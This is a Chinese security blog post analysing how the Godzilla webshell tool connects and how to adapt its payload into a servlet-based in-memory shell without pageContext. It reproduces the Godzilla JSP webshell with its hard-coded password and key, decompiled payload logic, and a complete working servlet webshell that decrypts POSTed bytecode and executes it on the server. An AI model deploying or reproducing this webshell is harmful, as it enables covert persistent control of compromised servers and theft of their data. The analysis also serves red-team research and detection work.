长亭百川云 - 文章详情

解决哥斯拉内存马pagecontext的问题

ChaBug

52

2024-07-13

前言

注入内存马借助当前的webshell工具而言,冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决

`HttpSession session = lastRequest.getSession();``pageContext.put("request", lastRequest);``pageContext.put("response", lastResponse);``pageContext.put("session", session);`

能这么写的原因是因为冰蝎做了处理

会从传入的obj中分别取到request、response、session。

而哥斯拉没有这么做,如何破局?

哥斯拉连接分析

哥斯拉是基于动态加载class字节码实现的webshell工具。

先看一下jsp的shell

`<%! String xc = "3c6e0b8a9c15224a";`    `String pass = "pass";`    `String md5 = md5(pass + xc);``   `    `class X extends ClassLoader {`        `public X(ClassLoader z) {`            `super(z);`        `}``   `        `public Class Q(byte[] cb) {`            `return super.defineClass(cb, 0, cb.length);`        `}`    `}``....省略加密解密的函数....``%>``<%`    `try {`        `byte[] data = base64Decode(request.getParameter(pass));`        `data = x(data, false);`        `if (session.getAttribute("payload") == null) {`            `session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));`        `} else {`            `request.setAttribute("parameters", data);`            `java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();`            `Object f=((Class)session.getAttribute("payload")).newInstance();`            `f.equals(arrOut);`            `f.equals(pageContext);`            `response.getWriter().write(md5.substring(0, 16));`            `f.toString();`            `response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));`            `response.getWriter().write(md5.substring(16));`        `}`    `} catch (Exception e) {`    `}``%>`

先判断session中payload是否为空,如果为空就用classloader加载解密之后的字节码data。

如果不为空将data赋值到session的parameters参数,然后从session中拿到定义的payload类,创建实例再进行了两次equals和一次tostring,两次equals分别传入ByteArrayOutputStream和pageContext。

通过bp代理看一下“测试连接”的过程

点完测试连接后bp多了两个请求

再点success的确定按钮后又多了一个请求。

一共三个请求,这三个请求分别干了什么?

为了调试,我们需要反编译哥斯拉源码找到godzilla\shells\payloads\java\assets\payload.classs文件,反编译回来后在idea项目中创建一个payload类,将源码粘贴进去。另外还需要关闭idea的自动tostring。

然后修改jsp让其加载我们自己的payload.class而非从session中加载

`<%`    `try {`        `byte[] data = base64Decode(request.getParameter(pass));`        `data = x(data, false);`        `if (session.getAttribute("payload") == null) {`            `session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));`        `} else {`            `request.setAttribute("parameters", data);`            `java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();`            `Object f = ((Class) Class.forName("payload")).newInstance();`            `f.equals(arrOut);`            `f.equals(pageContext);`            `response.getWriter().write(md5.substring(0, 16));`            `f.toString();`            `response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));`            `response.getWriter().write(md5.substring(16));`        `}`    `} catch (Exception e) {`    `}``%>`

payload类结构

payload类是哥斯拉的功能实现类,其中有多个函数比如文件操作、命令执行等功能实现

而入口在equals()函数

handle()是真正的逻辑,noLog是不记录tomcat连接日志的函数。进入handle看下

`public boolean handle(Object obj) {`    `if (obj == null) {`        `return false;`    `} else {`        `Class streamClazz = ByteArrayOutputStreamClazz;`        `if (streamClazz == null) {`            `try {`                `streamClazz = Class.forName("java.io.ByteArrayOutputStream");`            `} catch (ClassNotFoundException var7) {`                `throw new NoClassDefFoundError(var7.getMessage());`            `}``   `            `ByteArrayOutputStreamClazz = streamClazz;`        `}``   `        `if (streamClazz.isAssignableFrom(obj.getClass())) {`            `this.outputStream = (ByteArrayOutputStream) obj;`            `return false;`        `} else {`            `if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {`                `this.servletRequest = obj;`            `} else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {`                `this.servletRequest = obj;`            `} else {`                `streamClazz = byteArrayClazz;`                `if (streamClazz == null) {`                    `try {`                        `streamClazz = Class.forName("[B");`                    `} catch (ClassNotFoundException var6) {`                        `throw new NoClassDefFoundError(var6.getMessage());`                    `}``   `                    `byteArrayClazz = streamClazz;`                `}``   `                `if (streamClazz.isAssignableFrom(obj.getClass())) {`                    `this.requestData = (byte[]) obj;`                `} else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {`                    `this.httpSession = obj;`                `}`            `}``   `            `this.handlePayloadContext(obj);`            `if (this.servletRequest != null && this.requestData == null) {`                `Object var10001 = this.servletRequest;`                `Class[] var10003 = new Class[1];`                `Class var10006 = stringClazz;`                `if (var10006 == null) {`                    `try {`                        `var10006 = Class.forName("java.lang.String");`                    `} catch (ClassNotFoundException var5) {`                        `throw new NoClassDefFoundError(var5.getMessage());`                    `}``   `                    `stringClazz = var10006;`                `}``   `                `var10003[0] = var10006;`                `Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});`                `if (retVObject != null) {`                    `streamClazz = byteArrayClazz;`                    `if (streamClazz == null) {`                        `try {`                            `streamClazz = Class.forName("[B");`                        `} catch (ClassNotFoundException var4) {`                            `throw new NoClassDefFoundError(var4.getMessage());`                        `}``   `                        `byteArrayClazz = streamClazz;`                    `}``   `                    `if (streamClazz.isAssignableFrom(retVObject.getClass())) {`                        `this.requestData = (byte[]) retVObject;`                    `}`                `}`            `}`            `return true;`        `}`    `}``}`

分段来看,第一次equals的时候传入的是ByteArrayOutputStream实例

将其赋值给this.outputStream,this.outputStream是输出流,存储了response内容。

第二段equals的是pagecontext

image.png

先填充request,然后判断是否是session,如果是字节数组则说明是post参数 this.requestData = (byte[]) obj; 如果是HttpSession实例则放入this.httpSession

接着handlePayloadContext()填充request上下文和session

image.png

然后调用session.getAttribute("parameters")拿到requestData

第三段是toString

initSessionMap()初始化一个sessionMap放一些信息,然后formatParameter格式化参数map,然后this.run()

在formatParameter()函数中向参数map中放键值对

image.png

给他打印出来看一看,bp三个请求打印了两个键值对

image.png

第一个请求是加载class字节码的,然后第二个第三个请求时调用字节码功能,通过methodName来调用。接着run()完之后写输出。

那么请求流程就到这里,接下来看如何解决

解决pagecontext

上文讲到,requestData是post body,我们传入pagecontext的目的是为了通过session拿到parameters,那么如果我们抛弃session,直接把parameters通过equals函数传给payload类呢?

image.png

bp第一个请求是加载字节码,我们通过defClass加载进去,然后第二个请求分为四个阶段

1.equals传入ByteArrayOutputStream实例填充outputStream2.equals传递解码之后的data填充requestData3.equals传递HttpServletRequest填充request4.toString写response输出结果

而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext

image.png

完整代码

`package com.example.demo3;``   ``import javax.servlet.ServletException;``import javax.servlet.annotation.WebServlet;``import javax.servlet.http.HttpServlet;``import javax.servlet.http.HttpServletRequest;``import javax.servlet.http.HttpServletResponse;``import java.io.IOException;``import java.lang.reflect.Method;``import java.net.URL;``import java.net.URLClassLoader;``   ``@WebServlet(name = "helloServlet", value = "/hello")``public class HelloServlet extends HttpServlet {`    `String xc = "3c6e0b8a9c15224a";`    `String pass = "pass";`    `String md5 = md5(pass + xc);`    `Class payload;``   `    `public static String md5(String s) {`        `String ret = null;`        `try {`            `java.security.MessageDigest m;`            `m = java.security.MessageDigest.getInstance("MD5");`            `m.update(s.getBytes(), 0, s.length());`            `ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();`        `} catch (Exception e) {`        `}`        `return ret;`    `}``   `    `public static String base64Encode(byte[] bs) throws Exception {`        `Class base64;`        `String value = null;`        `try {`            `base64 = Class.forName("java.util.Base64");`            `Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);`            `value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});`        `} catch (Exception e) {`            `try {`                `base64 = Class.forName("sun.misc.BASE64Encoder");`                `Object Encoder = base64.newInstance();`                `value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});`            `} catch (Exception e2) {`            `}`        `}`        `return value;`    `}``   `    `public static byte[] base64Decode(String bs) throws Exception {`        `Class base64;`        `byte[] value = null;`        `try {`            `base64 = Class.forName("java.util.Base64");`            `Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);`            `value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});`        `} catch (Exception e) {`            `try {`                `base64 = Class.forName("sun.misc.BASE64Decoder");`                `Object decoder = base64.newInstance();`                `value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});`            `} catch (Exception e2) {`            `}`        `}`        `return value;`    `}``   `    `public byte[] x(byte[] s, boolean m) {`        `try {`            `javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");`            `c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));`            `return c.doFinal(s);`        `} catch (Exception e) {`            `return null;`        `}`    `}``   `    `public Class defClass(byte[] classBytes) throws Throwable {`        `URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());`        `Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);`        `defMethod.setAccessible(true);`        `return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);`    `}``   `    `@Override`    `protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {`        `try {`            `byte[] data = base64Decode(req.getParameter(pass));`            `data = x(data, false);`            `if (payload == null) {`                `payload = defClass(data);`            `} else {`                `java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();`                `Object f = payload.newInstance();`                `f.equals(arrOut);`                `f.equals(data);`                `f.equals(req);`                `resp.getWriter().write(md5.substring(0, 16));`                `f.toString();`                `resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));`                `resp.getWriter().write(md5.substring(16));`            `}`        `} catch (Throwable e) {`        `}`    `}``}`

文末

其实完整代码还是北辰发我的,我只是探究了一下其原因,这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。

另外自己在写冰蝎内存马的时候遇到了包装类的问题,而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload,而冰蝎是直接把字节码放在了body中。

image.png

只能说哥斯拉yyds!

分享、点赞、在看就是对我们的一种支持!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2